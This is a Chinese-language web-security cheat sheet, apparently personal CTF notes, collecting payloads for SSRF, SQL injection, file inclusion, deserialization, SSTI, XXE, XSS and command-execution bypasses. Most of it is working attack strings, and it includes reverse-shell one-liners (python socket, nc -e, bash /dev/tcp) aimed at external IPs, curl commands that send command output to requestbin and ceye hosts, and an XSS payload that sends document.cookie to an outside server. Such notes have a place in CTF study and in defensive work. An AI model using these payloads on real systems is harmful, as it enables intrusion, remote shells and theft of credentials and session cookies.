WEB安全综合笔记(不全)
WEB安全综合笔记
SSRF
漏洞代码
PHP
1 |
|
伪协议
file://
读取文件用,格式为:file://[文件路径]
1 | file:///etc/passwd 读取文件passwd |
dict://
可以拿来扫描端口,以下是利用dict伪协议来扫描127.0.0.1各个端口的例子:
1 | dict://127.0.0.1:8000 |
配合上burpsuite的intruder模块,在8000前后加上标记符号,再选择爆破范围,即可开始扫描。
gopher://
可以发送GET和POST请求,格式为:gopher://
发送POST请求:
1 | POST /flag.php HTTP/1.1 |
url编码两次,再加上gopher伪协议的形式:
1 | ?url=gopher:127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:%2520application/x-www-form-urlencoded%250d%250aContent-Length:%252036%250d%250a%250d%250akey=c6e691f84d88409f2497fff9de3671ab%250d%250a |
一些绕过方法
当127.0.0.1或者localhost被ban掉的时候,可以使用进制转换的方法进行绕过。
进制转换工具:https://tool.520101.com/wangluo/jinzhizhuanhuan/
例如:
1 | url=http://2130706433/flag.php |
1 | url=http://127。0.0.1 |
长度限制时:
1 | url=http://0/flag.php |
0在Linux中会被自动解析成127.0.0.1
@符号
1 | http://wawd1l2n13vz(乱写)@www.baidu.com |
仍然访问的是www.baidu.com
攻击Mysql
用gopherus生成payload:
1 | username设置为root |
记住生成的payload中_
后面的内容需要二次url编码
PHP代码审计
函数
create_function
根据传递的参数创建匿名函数,并为其返回唯一名称
格式:create_function(string $args,string $code)
特性:string $code
部分使用了eval()
函数,会造成任意代码执行。
有关create_function函数的代码注入漏洞
1 | create_function('$fname','echo $fname."Zhang"') |
类似于:
1 | function fT($fname) { |
遇到形如create_function('',$a)
的情况,可以构造$a=}system('cat /flag');/*
。
即:先用}将等价的function闭合,然后加入自己的代码,最后使用多行注释/*
毙掉后面的代码。
intval
用于将指定的变量转换为整数类型。
格式:intval($var, $base)
$var放入需要转换的内容,$base放入转换的进制基数。
实例:
1 | $num1 = 123.45; // 浮点数 |
特殊地,当$base为0时,会根据$var的类型自动选择进制,例如:
$var为0x开头,则表示其为一个十六进制数,使用十六进制进行转换。
为0开头,则表示为一个八进制数。
strpos
用于在字符串中查找某个子字符串的第一次出现位置。
- 如果找到子字符串,则返回第一次出现的位置(索引),索引从 0 开始。
- 如果没有找到子字符串,则返回
false
。
示例:
1 |
|
parse_url
用于解析URL字符串并返回一个关联数组,将一个完整的URL字符串解析成协议、主机、路径等独立字段。
PHP_URL_SCHEME
:协议部分(例如:http
、https
)。PHP_URL_HOST
:主机部分 (例如:www.example.com)。PHP_URL_PORT
:端口部分(例如:80
、443
)。PHP_URL_USER
:用户名部分。PHP_URL_PASS
:密码部分。PHP_URL_PATH
:路径部分。PHP_URL_QUERY
:查询参数部分。PHP_URL_FRAGMENT
:片段部分。PHP_URL_ALL
:返回包含所有 URL 部分的关联数组。
eval
其为一个语言构造器而非一个函数,无法被动态调用。
例如:
1 |
|
执行后会发现echo $a($c);
可用但是echo $b($c);
不可用
is_numeric
1 |
|
传参:c[]=2025或者c=2025abc即可绕过。
get_defined_vars
爆出所有的变量及其对应值。
extract
将数组中的键值变成具体的变量名和值。
特性
intval
1.intval函数当传入的变量也是数组的时候,会返回1
2.根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
举例:
1 |
|
preg_match
preg_match函数当传入的变量为数组的时候,会返回0
1 |
|
正则表达式中/m代表多行匹配,所以可以传入?cmd=%0aphp
进行绕过,%0a是url编码下的换行符,这使得第一个if条件成立,第二个绕过。
is_file
在使用php伪协议的时候会返回false,除了使用file://协议。
也可以使用目录溢出的payload使其返回false:
1 | /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro |
escapeshellarg与escapeshellcmd
两个函数顺序排序,会造成命令执行的漏洞。
假定输入的是' whoami '
,经过arg函数加工时,首先会在一整串字符串两边加上单引号:'' whoami ''
,接着对原本存在的单引号用\号进行转义,变成:'\' whoami '\'
,接着用两个单引号扣住刚才转义的\'
部分,变成:''\'' whoami '\'''
。
经过cmd函数加工时,它会把不配对的引号和\用\转义掉,但是两个\合在一起便使\号的转义功能被抹去,根据上述原理,最终变成:''\\'' whoami '\\'''
。
现在单引号两两闭合,使中间的命令不会被包围,被放了出来。
$_GET键值特性
GET数组获取
url中
query的参数,但是当其键值为一些特殊字符时,php会将其替换为
_
会被转换成_
的有:.
、空格
、+
、[
。
basename
在遇到%ff
等不可显字符时会把它自动删去:
1 | $var1="/config.php/test" |
date
经过date函数转换过后的字符串会变得奇形怪状,但是可以通过在各个字符前面加上反斜杠\
使其失效:
1 |
|
输出:
1 | /x41am2024f0000002024-05-13T09:41:45+00:00 |
注意如果遇到字符f要多加一个\
$_SERVER[‘QUERY_STRING’]
$_SERVER[‘QUERY_STRING’]存储着url中?后面的信息。
例如url为:http://localhost/aaa/index.php?p=222&q=333
$_SERVER[‘QUERY_STRING’]则为:p=222&q=333
其在读取url时并不会对url进行解码,而$_GET数组会进行解码,所以可以实现一些绕过操作,例如:
1 | if($_SERVER) { |
此时把传参的内容用url编码一下就可以实现绕过。
$_REQUEST的优先级
在$_REQUEST数组中,POST方式比GET优先级高。
例如:
1 |
|
file_get_contents的返回值
当成功读取文件时返回1,若要控制其返回值为一个具体内容,可以搭配上data伪协议:
1 | if (file_get_contents($file) !== 'debu_debu_aqua') |
只需让$file为:data://text/plain,debu_debu_aqua
其他
define
用于定义一个常量
格式:define(string name,value)
name部分放常量的名称,value部分放常量对应的值,可以是任意的合法数据类型。
举例:
1 | define("CNM",phpinfo()); |
PHP反射
反射可以获取一个类的信息
利用反射创建实例并执行方法:
1 |
|
利用反射获取类中的方法:
1 |
|
反射读取私有成员
1 |
|
反射执行私有方法
1 | ``` |
绕过payload:
1 | ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
利用session.upload_progress进行文件包含
原理:
PHP在开启session.upload_progress.enable
选项后,会把用户上传的文件信息保存在Session中,从而在/tmp目录中留下Session文件:sess_xxx。这里xxx指的是PHPSESSID
利用时要满足以下三个条件:
- 目标环境开启了
session.upload_progress.enable
选项 - 发送一个文件上传请求,其中包含一个文件表单和一个名字是
PHP_SESSION_UPLOAD_PROGRESS
的字段 - 请求的Cookie中包含Session ID
tips:
需要创建session时,一般要在php代码中写入session_start()
,当这个语句没有出现,并不代表不可以创建session。例如:在php.ini中设置session.auto_start=On
时,也可以创建。
phpinfo文件中可以看到一些关于session的关键配置信息:
1 | 1. session.upload_progress.enabled = on |
利用脚本:
1 | import io |
利用pear.cmd进行文件包含
payload:
1 | /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php |
能将内容写入hello.php,搭配上文件包含漏洞进行包含即可。
包含日志文件写马
nginx 中默认的日志路径是/var/log/nginx/access.log
而php的文件包含有一个特点 就是被包含的文件都会被当做php代码来执行,日志里面一般记录访问者的ip 访问地址和UA 前两个想要达到目的相对较难,所以可以在UA下手,只要我们在ua的参数内写入一句话木马。
PHP7 临时文件包含
1 | include.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用。
文件上传
绕过exif_imagetype函数的检测:
直接在图片开头加上GIF89a即可。
后缀名绕过:
1 | phtml |
短标签绕过:
1 | <?=`nl /f*`; 读flag |
.htaccess解析php
当无法正常上传php文件进入网站后台时,可以试着传入.htaccess文件,内容为:
1 | <FilesMatch "111"> |
然后传入一个111.txt,内容为php的一句话木马,虽然后缀是txt,但是.htaccess文件会将其重新当做php代码解析。
反序列化
PHP魔术方法
1 | __construct() //类的构造函数,实例化对象时触发 |
原生类反序列化
利用SplFileObject类进行文件读取
遇到形如:
1 | echo new $_POST['X']($_POST['Y']); |
可以输入:
1 | X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php |
即搭配上伪协议进行读取文件。
利用GlobIterator类遍历文件目录
遇到形如:
1 | $a = new $this->coos($this->file); |
例如:需要找到一个txt文件时。
赋值:coos = 'GlobIterator'&file = '*txt'
又或是遇到如下结构:
1 |
|
想要列出目录,可以传参:
1 | ?K=GlobIterator&W=/* |
假设想知道目录下secret文件夹中有什么,即可传参:
1 | ?K=GlobIterator&W=/secret/* |
利用DirectoryIterator类遍历文件目录
1 | $dir = new $Keng($Wang); |
用法与GlobIterator类相似。
Phar反序列化
漏洞原理
Phar文件中manifest部分以序列化存储着压缩文件的属性等信息,当用phar伪协议对其进行读取的时候,会自动将文件内manifest部分进行反序列化,配合一些魔术方法则可以触发漏洞。
触发函数
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() filesize() is_dir() scandir() rmdir() highlight_file()
搭配上phar://伪协议进行触发
生成phar文件的关键代码
1 | $o = new xxx; |
绕过__wakeup
修改属性个数
如下序列化代码:
1 | O:7:"ctfshow":0:{} |
把0修改成更大的数即可。
把开头的O改成C
1 | C:7:"ctfshow":0:{} |
绕过O/a开头
遇到如下正则时:
1 | if(!preg_match("/^[Oa]:[\d]+/i", $data)) { |
SQL注入
重要的SQL函数
if(xxx,1,0)
如果xxx条件成立,返回1,否则返回0
mid(str,5,10)
从str字符串中第五个字符开始提取后面10个字符
reverse(abc)
把abc倒过来,若注入的回显内容有长度限制导致flag无法完整输出,可以使用该函数获取flag的最后几位,再倒回来,进行拼接得到完整的flag。
1 | version() # 查看数据库版本 |
联合注入
查表:
1 | union select database() |
查库:
1 | union select group_concat(table_name) from information_schema.tables where table_schema = database() |
查表:
1 | union select group_concat(column_name) from information_schema.columns where table_name = '库名' |
SQL盲注
if语句用法:if(条件,1,0) ,如果条件判断成立返回1,不成立返回0
堆叠注入
常用payload:
1 | show databases; 获取数据库名 |
当select等被禁用时,可以使用HANDLER方法,具体payload如下:
1 | 1';handler 表名 open;handler 表名 read first;handler 表名 close;# |
报错注入
payload:
1 | ' or extractvalue(0,concat(0x7e,database()))%23 |
当or被过滤时,可以使用||
来代替。
特性:
当database被ban而无法得知数据库名字时,可以构造如下payload:
1 | ' or extractvalue(0,concat(0x7e,(select * from aa)))%23 |
因为aa表不存在,所以它会报错,但是这个报错会把数据库一起带进来:
sqlsql.aa
无列名注入
基于union:
假设表:
id | username | password | question | token |
---|---|---|---|---|
1 | 1a | 1b | 1c | 1d |
2 | 2a | 2b | 2c | 2d |
3 | 3a | 3b | 3c | 3d |
当题目中用limit 0,1
这样的语句限制了只能查询第一行时,可以采取无列名注入方法:
1 | select group_concat(`2`) from (select 1,2,3,4,5 union select * from table)a; |
即:返回第二行的内容
当反引号被过滤的时候,可以采用如下的payload:
1 | select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a; |
基于join:
原理:
join是把两张表的列名相加,就导致有可能会产生相同的表名,但是join不允许合并的两个表中有相同的列名,因此通过报错得到列名
1 | mysql> select * from tp_one; |
ascii逐字比较:
先判断有多少列,举例:
1 | 1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh)) |
回显的是正确的布尔页面,就可以断定有两列。
核心payload:
1 | 0^((select 1,"f")>(select * from f1ag_1s_h3r3_hhhhh)) |
EXP:
1 | import requests |
在python的自动化脚本中,这个”f”在循环中被替换成各种各样的可显字符进行比较。
又因为循环从最小的ascii开始,所以走到大于的时候,直接把上一位的字符型式写进flag里面,它即是字段内容完全一致的字符。
Quine注入
一种特殊的SQL注入方法,使得输入的SQL语句能与输出的SQL语句一致。
payload:
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
读取文件
load_file(‘/xxx’)
绕过information_schema
1 | sys.x$schema_table_statistics_with_buffer |
RCE
好用的linux命令
GET
GET /
可以遍历根目录文件
读取文件:
1 | rev /etc/passwd |
列目录:
1 | diff --recursive / /home |
MySQL
用root用户,连接密码为root,并执行XXXSQL指令。
1 | mysql -u root -p'root' -e 'use PHP_CMS;show tables;' |
通配符
[]
1 | [a-z] |
匹配a-z中的字符
1 | [^a-z] |
匹配除了a-z之外的字符
字符串拼接
例如:
1 | a=fl;b=ag;cat /$a$b |
好用的PHP函数
1 | implode() 将一维数组转化为字符串 |
glob()
可以拿来列目录,需要注意的点在于它返回的是一个数组,所以查看需要用到print_r()
1 | glob('/*'); |
无回显RCE
curl
1 | curl http://requestbin.cn/1exb1tl1/`whoami` |
1 | curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|base64` |
重定向到文件
1 | {cmd} > 1.txt |
将命令执行的结果写入到网页的1.txt中。
嵌套函数RCE
直接用php函数进行目录下的文件浏览与文件读取。
current(localeconv());
组合可以创造一个’.’
结合scandir函数可以进行目录浏览:
1 | var_dump(scandir(current(localeconv()))); |
chr函数用于将ascii值转换成对应的字符,所以可以构造payload:
1 | var_dump(scandir(chr(47))); |
用于浏览根目录下的所有文件
eval绕过长度限制的构造思路
1 |
|
构造:
1 | param=`$_GET[1]`;&1=bash |
或是:
1 | param=exec($_GET[1]); |
php的短标签
PHP的短标签:<? ?>
条件:开启php.ini中的short_open_tag
此时:
<?=xxx?>
等价于:<?php echo('xxx'); ?>
payload利用:
1 | <?=`ls`?> |
八进制绕过
经过测试,php中的print等输出函数在套上反引号`时,里面的八进制内容会被自动转回。八进制需要把前面的0给去掉,并加上/
payload:
1 | print(`\154\163\40\57`); //'ls /' |
十六进制绕过
情景:
1 |
|
传入:
1 | a=eval(hex2bin('6563686f2060646972603b')); |
可以执行windows的命令:dir
若引号被ban掉,可以采用:
1 | a=eval(hex2bin(substr(_6563686f2060646972603b,1))); |
substr(xxx,1)是从xxx的第二个字符开始,这里不知道为什么加上了个_
就不需要引号了。
过滤空格
1 | $IFS |
Linux特性构造数字
$(())
代表做一次运算,因为里面为空,可以表示值为0
$((~$(())))
对0作取反运算,值为-1
以此类推,可以通过取反构造其他数字。
payload构造:
1 | data = "$((~$(("+"$((~$(())))"*37+"))))" |
反弹Shell
python反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
由于-c后面跟着只能是单行的paython代码,所以使用;
号来进行隔离。
PHP反弹shell
netcat反弹
1 | nc 47.113.219.244 2333 -e sh |
1 | bash -c 'bash -i >& /dev/tcp/47.113.219.244/2333 <&1' |
Tips
有时候根目录和当前目录都没有flag,可以通过system函数执行指令:
1 | find / -name flag* |
它可以搜索各目录下的flag
linux系统有env命令,可以把文件内容反着读出来。
Python执行命令
遇到如下代码:
1 | from flask import Flask, request, send_file |
使用__import__("os")
,动态调用
1 | ?cmd=__import__("os").popen("ls%20/").read() |
CSRF
SSTI
Smarty
利用{if}标签执行php函数。
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等
1 | {if phpinfo()}{/if} |
Twig
常用payload:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
Jinja2
含有eval函数的可用类:
1 | warnings.catch_warnings |
以上类的基本payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
利用url_for
1 | {{url_for.__init__['__global'+'s__'].os.popen("whoami").read()}} |
利用config
1 | {{config.__init__['__global'+'s__'].os.popen("whoami").read()}} |
含有os模块的类:
1 | {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} |
利用subprocess.Popen类:
1 | {{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
读取app.py源码:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} |
搭配上for循环找根目录文件:(省去找可用类的步骤)
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} |
读取文件:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %} |
绕过中括号过滤
原payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
使用__getitem__()
函数进行绕过:
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(166).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} |
利用request对象绕过引号
原payload:
1 | {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} |
绕过:
1 | {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls / |
利用|attr()语句绕过点号
原payload:
1 | {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}} |
绕过过滤.
:
1 | {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}} |
利用字符串拼接绕过关键字匹配
原payload:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %} |
拼接后:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} |
注意!
只有语句中被引号包围的字段才可以使用这个方法绕过。
特殊地:
当global被过滤时,假设原payload:
1 | {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}} |
这个可以等价成: (注意init后面的.
没了)
1 | {{[].__class__.__base__.__subclasses__()[132].__init__["__globals__"]}} |
这种情况下global被引号包围了,就可以使用字符串拼接的方法进行绕过。
XXE
原理部分
什么是XML?
可扩展标记语言,用于保存和处理数据之间的关系。
XML的基本语法:
1 | <!--xml文件的声明--> |
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
为XML prolog,声明了XML文档的版本和编码,放在开头。
standalone的默认值为no,当其为yes的时候,会导致外部实体被禁用。
什么是DTD
XML文档的格式规范由DTD控制。
可在XML文档内声明,也可以外部引用。
内部:
1 | <?xml version="1.0"?> |
外部:
1 | <?xml version="1.0" encoding="UTF-8"?> |
test.dtd:
1 | <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> |
任意读取文件payload:
1 | <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [ |
/proc/net/arp和/proc/net/fib_trie可以探测内网的网段。
对可疑网段进行爆破:
XSS
原理:把javascript代码插入到前端代码中执行
反射性XSS:在url中构造好payload,发送给受害者,受害者点击从而执行
存储型XSS:传入到服务端中,受害者点击看似正常的链接也能触发
CTF中针对无过滤的基本payload:
1 | <script>window.location.href='http://8.137.78.89/cookie.php?a='+document.cookie</script> |
过滤script
1 | <IMG SRC="" onerror="alert('XSS')"> |
图片没有指定,即是出错,触发Onerror事件。
1 | <BODY onload="alert('XSS')"> |
尝试通过大小写进行绕过:
1 | <sCRiPt>aLErT(1)</sCrIpT> |
SSI
如果网站目录中发现了形如.stm;.shtm;.shtml
这样的文件,可以使用如下的payload进行命令执行:
1 | <!--#exec cmd="ls"--> |
正则表达式
^
^
号紧贴着开头的/
号的后面,表示匹配字符串的开始位置。
例如:
1 | /^abc/ |
字符串abc
会被匹配,而66abc
不会被匹配,因为abc没有处于开头的位置。
$
$
号紧贴着最后一个/
号的前面,表示匹配字符串的结束位置。
例如:
1 | /abc$/ |
字符串abc
会被匹配,而abc66
不会被匹配,因为abc没有处于结尾的位置。
在非多行模式中,其会忽略句尾的%0a
,即不比较多行,例如:
1 | if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { |
1 | ?a=flag%0a |
.
表示出了“新行”之外的所有字符,可以使用\n
换行进行绕过。例如:
1 | if (preg_match('/^.*(flag).*$/', $json)) { |
绕过:
1 | $json="\nflag" |
/i
表达式若出现/i代表匹配时不区分大小写,若遇到正则没开启/i时可以尝试大小写绕过。
/m
表达式若出现/m代表匹配时开启多行匹配,但遇到换行符**%0a**时,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
/e
可能引起RCE漏洞,payload:
1 | preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}}); |
.*可以替换成\S*
遇到如下的无限制传参:
1 |
|
可以传入/e
修饰符,使中间的”new”代码被执行。
1 | ?pattern=/233/e&new=phpinfo()&base=233 |
Java
类加载机制
前向引用
如下代码:
1 | public class Test { |
前向引用(Forward Reference)是指在声明之前就试图使用变量。Java 不允许在静态代码块中直接引用未初始化的静态变量,这就是所谓的“非法前向引用”。
如果用类名来引用则会不同:
1 | public class Test { |
使用类名访问静态变量时,编译器会现将其作为一个完整的符号引用处理,它可以在类加载过程中解析Test.i,即使该静态变量仍未初始化。
Python原型链污染
污染源码演示:
1 | log_path = "text.txt" |
修改内置属性
1 | class father: |
污染全局变量
1 | secret_var = 114 |
Docker
常用命令:
停用所有容器:
1 | docker stop $(docker ps -a -q) |
删除所有容器:
1 | docker rm $(docker ps -a -q) |
Linux
/proc的利用
相关文章:https://www.anquanke.com/post/id/241148#h3-2
在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。(pid)好像能换成self?
1 | /proc/pid/cmdline 包含了用于开始进程的命令 ; |
makefile读s取文件内容
命令:
1 | content := $(shell cat flag) |
Nginx
存放重要文件的常见位置:
1 | 配置文件存放目录:/etc/nginx |
MD5绕过
MD5弱比较
数组绕过
1 | a[]=0&b[]=1 |
0e绕过
1 | a=0e462097431906509019562988736854&b=0e830400451993494058024219903391 |
MD5强比较
强碰撞
1 | M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
1 | M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
字符型强碰撞(fastcoll)
1 | psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2 |
1 | psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2 |
前后加密弱相等成立
1 | 0e215962017 |
一些脚本的使用方法
Session伪造脚本
1 | python flask_session_cookie_manager3.py decode -s "密钥" -c "session值" |
1 | python flask_session_cookie_manager3.py encode -s "密钥" -t "session值" |
dirsearch脚本
使用文件拓展名为php,html,js的字典扫描目标url:
1 | python dirsearch.py -e php,html,js -u https://target |
使用字典:
1 | python dirsearch.py -u 网址 -w D:\CTF\dicc.txt |
fenjing脚本
1 | python -m fenjing scan --url http:// |
jwt-cracker
用虚拟机打开CTF-tools
1 | ./jwtcrack jwt |
Gopherus-master
虚拟机中打开
1 | ./gopherus.py --exploit mysql |